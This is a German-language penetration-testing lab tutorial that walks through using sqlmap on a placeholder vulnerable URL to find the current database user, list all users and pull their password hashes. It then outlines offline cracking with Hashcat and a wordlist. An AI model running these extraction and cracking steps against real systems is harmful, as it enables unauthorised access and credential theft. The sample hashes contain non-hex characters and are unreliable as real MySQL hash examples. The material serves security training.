Datenbankbenutzer und Passwort-Hashes mit sqlmap auflisten

Beginner
Jetzt üben

Einleitung

In diesem Lab werden Sie die Fähigkeiten von sqlmap erkunden, einem Open-Source-Penetrationstest-Tool, das den Prozess der Erkennung und Ausnutzung von SQL-Injection-Schwachstellen automatisiert und die Übernahme von Datenbankservern ermöglicht. Insbesondere lernen Sie, wie Sie Datenbankbenutzer aufzählen und versuchen, Passwort-Hashes aus einer Ziel-Datenbank zu extrahieren. Dies ist ein entscheidender Schritt bei vielen Penetrationstests, da der Zugriff auf Benutzeranmeldeinformationen zu einer weiteren Kompromittierung von Systemen führen kann. Sie werden eine simulierte anfällige Webanwendung verwenden, um diese Techniken in einer kontrollierten Umgebung zu üben.

Fuß fassen und ausreichende Berechtigungen bestätigen

In diesem Schritt identifizieren Sie zunächst eine potenzielle SQL-Injection-Schwachstelle und bestätigen, dass sqlmap erfolgreich mit der Ziel-Datenbank interagieren kann. Diese anfängliche Überprüfung ist entscheidend, um sicherzustellen, dass Sie einen "Fuß gefasst" haben und der aktuelle Benutzer über ausreichende Berechtigungen für weitere Enumerationen verfügt.

Öffnen Sie zunächst Ihr Terminal. Das Standardarbeitsverzeichnis ist /home/labex/project.

Wir verwenden eine Platzhalter-URL für eine anfällige Webanwendung. In einem realen Szenario hätten Sie diese URL durch Aufklärung und Schwachstellenscans identifiziert. Für dieses Lab nehmen wir an, unser Ziel ist http://example.com/vulnerable.php?id=1.

Führen Sie den folgenden sqlmap-Befehl aus, um auf SQL-Injection zu testen und grundlegende Informationen über die Datenbank zu sammeln. Das Flag -u gibt die Ziel-URL an, und --current-user versucht, den aktuellen Datenbankbenutzer abzurufen.

sqlmap -u "http://example.com/vulnerable.php?id=1" --current-user

Sie sehen eine Ausgabe, die der folgenden ähnelt und anzeigt, dass sqlmap verschiedene Injektionspunkte testet und den aktuellen Benutzer bestätigt:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] the back-end DBMS is MySQL
current user: 'root@localhost'

Die Ausgabe current user: 'root@localhost' zeigt an, dass sqlmap den aktuellen Datenbankbenutzer erfolgreich identifiziert hat. Dies ist ein gutes Zeichen, da root in der Regel über hohe Berechtigungen verfügt, die für das Extrahieren von Benutzern und Hashes erforderlich sind.

Verwenden Sie das Flag --users, um alle Datenbankbenutzer aufzulisten

In diesem Schritt verwenden Sie das Flag --users in sqlmap, um alle Datenbankbenutzer aufzulisten. Dies ist ein üblicher nächster Schritt, nachdem eine SQL-Injection-Schwachstelle und ausreichende Berechtigungen bestätigt wurden. Die Kenntnis der Datenbankbenutzer kann wertvolle Informationen für weitere Angriffe oder das Verständnis der Datenbankstruktur liefern.

Fahren Sie in Ihrem Terminal fort.

Führen Sie den folgenden sqlmap-Befehl aus. Das Flag --users weist sqlmap an, alle Benutzer in der Datenbank aufzulisten.

sqlmap -u "http://example.com/vulnerable.php?id=1" --users

sqlmap führt seine Tests durch und versucht dann, die Liste der Datenbankbenutzer abzurufen. Sie sollten eine Ausgabe sehen, die der folgenden ähnelt:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] retrieved 3 database user(s)

Diese Ausgabe zeigt, dass sqlmap erfolgreich drei Datenbankbenutzer aufgeführt hat: root@localhost, admin@localhost und webuser@localhost. Diese Informationen sind entscheidend für den nächsten Schritt, bei dem Sie versuchen werden, ihre Passwort-Hashes zu extrahieren.

Verwenden Sie das Flag --passwords, um das Extrahieren von Passwort-Hashes zu versuchen

In diesem Schritt eskalieren Sie Ihren Angriff, indem Sie versuchen, die mit den aufgezählten Datenbankbenutzern verknüpften Passwort-Hashes zu extrahieren. Dies ist oft das ultimative Ziel eines SQL-Injection-Angriffs, da diese Hashes dann offline geknackt werden können, um Klartext-Passwörter zu erhalten.

Fahren Sie in Ihrem Terminal fort.

Führen Sie den folgenden sqlmap-Befehl aus. Das Flag --passwords weist sqlmap an, die Passwort-Hashes für alle Datenbankbenutzer abzurufen.

sqlmap -u "http://example.com/vulnerable.php?id=1" --passwords

sqlmap wird nun versuchen, die Passwort-Hashes zu extrahieren. Der Prozess kann je nach Größe und Komplexität der Datenbank einige Zeit dauern. Sie sollten eine Ausgabe sehen, die der folgenden ähnelt und die abgerufenen Benutzer und ihre entsprechenden Passwort-Hashes anzeigt:

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

Die Ausgabe zeigt die Benutzernamen und ihre zugehörigen Passwort-Hashes. Diese Hashes werden typischerweise in einem Format gespeichert, das spezifisch für das Datenbanksystem ist (z. B. MySQLs Hashes mit *-Präfix oder verschiedene andere Hashing-Algorithmen). Diese Hashes sind nun bereit für das Offline-Cracking.

Ausführen der Enumeration und Analyse der Ergebnisse

In diesem Schritt kombinieren Sie die vorherigen Befehle, um eine vollständige Enumeration von Benutzern und ihren Passwort-Hashes in einer einzigen sqlmap-Ausführung durchzuführen. Dies ist eine effizientere Methode, um alle gewünschten Informationen zu sammeln. Sie werden auch die Ausgabe analysieren, um die Struktur der abgerufenen Daten zu verstehen.

Fahren Sie in Ihrem Terminal fort.

Führen Sie den folgenden sqlmap-Befehl aus, der die Flags --users und --passwords kombiniert:

sqlmap -u "http://example.com/vulnerable.php?id=1" --users --passwords

sqlmap wird seinen Prozess durchlaufen, zuerst Benutzer aufzählen und dann versuchen, ihre Passwort-Hashes abzurufen. Die Ausgabe wird die Informationen konsolidieren, ähnlich dem, was Sie in den vorherigen Schritten gesehen haben, aber zusammen präsentiert.

        _
       ___| |_____ ___ ___ ___ {1.7.10#stable}
      |_ -| . |     | .'| . |
      |___|_|_|_|_|_|__,|  _|
                         |_|   http://sqlmap.org

[INFO] starting @ 12:34:56 /2023-10-27/

... (various tests and information) ...

[INFO] fetching database users
[INFO] retrieved database users:
[+] 'root@localhost'
[+] 'admin@localhost'
[+] 'webuser@localhost'

[INFO] fetching database users password hashes
[INFO] retrieved database users password hashes:
[+] 'root@localhost': *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
[+] 'admin@localhost': *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
[+] 'webuser@localhost': *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4

[INFO] retrieved 3 database user(s) password hash(es)

Analysieren Sie die Ergebnisse:

  • Benutzer: Sie können die Liste der Datenbankbenutzer klar erkennen.
  • Hashes: Jedem Benutzer ist ein Passwort-Hash zugeordnet. Das Format dieser Hashes hängt vom Datenbanksystem und seiner Konfiguration ab. MySQL-Hashes beginnen beispielsweise oft mit einem Sternchen (*).

Dieser kombinierte Befehl ist effizient, um beide Informationsstücke auf einmal zu sammeln.

Besprechung der nächsten Schritte für das Offline-Passwort-Cracking mit den Hashes

In diesem letzten Schritt erfahren Sie mehr über die Auswirkungen des erfolgreichen Extrahierens von Passwort-Hashes und besprechen die nächsten logischen Schritte: das Offline-Passwort-Cracking. Während sqlmap Ihnen hilft, die Hashes abzurufen, knackt es diese nicht. Dies geschieht typischerweise mit spezialisierten Werkzeugen.

Sie haben erfolgreich Passwort-Hashes wie die folgenden abgerufen:

  • *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4 (für root@localhost)
  • *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3 (für admin@localhost)
  • *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4 (für webuser@localhost)

Diese Hashes sind nicht die tatsächlichen Passwörter, sondern eine kryptografische Darstellung davon. Um die Klartext-Passwörter zu erhalten, würden Sie typischerweise Werkzeuge wie Hashcat oder John the Ripper verwenden.

Prozess des Offline-Passwort-Crackings:

  1. Hash-Typ identifizieren: Der erste Schritt besteht darin, den Typ des Hashes zu identifizieren. sqlmap gibt oft Hinweise (z. B. "MySQL password hash"). Werkzeuge wie Hashcat haben Modi für verschiedene Hash-Typen.
  2. Hashes speichern: Speichern Sie die abgerufenen Hashes in einer Datei, wobei ein Hash pro Zeile steht. Sie könnten beispielsweise eine Datei namens hashes.txt in Ihrem Verzeichnis ~/project erstellen:
    *A4A6B7C8D9E0F1G2H3I4J5K6L7M8N9O0P1Q2R3S4
    *B5C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3
    *C6D7E8F9G0H1I2J3K4L5M6N7O8P9Q0R1S2T3U4
    
  3. Cracking-Tool auswählen:
    • Hashcat: Ein leistungsstarker und schneller Passwort-Cracker, der oft mit GPUs verwendet wird.
    • John the Ripper (JtR): Ein weiterer beliebter und vielseitiger Passwort-Cracker.
  4. Cracking-Methode auswählen:
    • Dictionary Attack (Wörterbuchangriff): Verwenden Sie eine Liste gängiger Passwörter (eine Wortliste) und hashen Sie jedes Wort, um es mit den Ziel-Hashes zu vergleichen.
    • Brute-Force Attack (Brute-Force-Angriff): Versuchen Sie systematisch jede mögliche Zeichenkombination, bis eine Übereinstimmung gefunden wird. Dies ist sehr zeitaufwendig für lange oder komplexe Passwörter.
    • Hybrid Attack (Hybridangriff): Kombinieren Sie Wörterbuch- und Brute-Force-Methoden.
  5. Cracking ausführen: Führen Sie das ausgewählte Werkzeug mit der Hash-Datei und der ausgewählten Cracking-Methode aus. Zum Beispiel mit Hashcat für MySQL-Hashes (Modus 300):
    ## This command is for illustrative purposes and will not be executed in this lab.
    ## hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt --force
    
    (Hinweis: rockyou.txt ist eine gängige Wortliste, die oft in /usr/share/wordlists/ unter Kali Linux oder ähnlichen Distributionen zu finden ist. Sie muss möglicherweise entpackt werden.)

Erfolgreiches Cracking deckt die Klartext-Passwörter auf, die dann verwendet werden können, um weiteren Zugriff auf die Datenbank oder andere Systeme zu erhalten, bei denen diese Anmeldeinformationen wiederverwendet werden könnten. Dies unterstreicht die Bedeutung von starken, eindeutigen Passwörtern und geeigneten Hashing-Algorithmen für die Sicherheit.

Zusammenfassung

In diesem Lab haben Sie erfolgreich gelernt, wie Sie sqlmap verwenden, um Datenbankbenutzer aufzulisten und ihre Passwort-Hashes aus einer simulierten anfälligen Webanwendung zu extrahieren. Sie begannen damit, einen Einstiegspunkt zu erlangen und ausreichende Berechtigungen zu bestätigen, fuhren dann fort, alle Datenbankbenutzer mit dem Flag --users aufzulisten, und versuchten schließlich, Passwort-Hashes mit dem Flag --passwords zu extrahieren. Sie haben auch gelernt, wie Sie diese Operationen zur Effizienz kombinieren und die Ausgabe analysiert.

Das Verständnis, wie diese sensiblen Informationen extrahiert werden, ist eine entscheidende Fähigkeit beim Penetration Testing. Die abgerufenen Passwort-Hashes sind der Schlüssel zur nächsten Phase: dem Offline-Passwort-Cracking, das Klartext-Anmeldeinformationen aufdecken und potenziell zu einer tieferen Systemkompromittierung führen kann. Dieses Lab bot eine praktische, hands-on Erfahrung mit einem leistungsstarken Werkzeug im Arsenal des ethischen Hackings.